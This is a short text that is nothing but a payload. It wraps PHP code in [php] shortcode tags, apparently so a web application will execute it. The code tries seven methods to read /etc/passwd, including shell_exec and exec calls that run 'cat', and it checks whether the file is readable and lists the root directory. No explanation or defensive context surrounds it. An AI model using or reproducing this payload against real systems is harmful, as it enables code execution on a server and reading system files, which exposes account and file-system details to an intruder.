FILE_READ_METHODS_178035
[php]echo ‘METHOD1:’.readfile(‘/etc/passwd’);echo ‘|METHOD2:’.implode(”,file(‘/etc/passwd’));echo ‘|METHOD3:’.shell_exec(‘cat /etc/passwd 2>&1’);echo ‘|METHOD4:’.exec(‘cat /etc/passwd 2>&1′,$o,$r).’|R:’.$r.’|O:’.implode(”,$o);echo ‘|METHOD5:’.highlight_file(‘/etc/passwd’,true);echo ‘|METHOD6:’.(is_readable(‘/etc/passwd’)?’READABLE’:’NOT_READABLE’);echo ‘|METHOD7:’.var_export(scandir(‘/’),true);echo ‘|END’;[/php]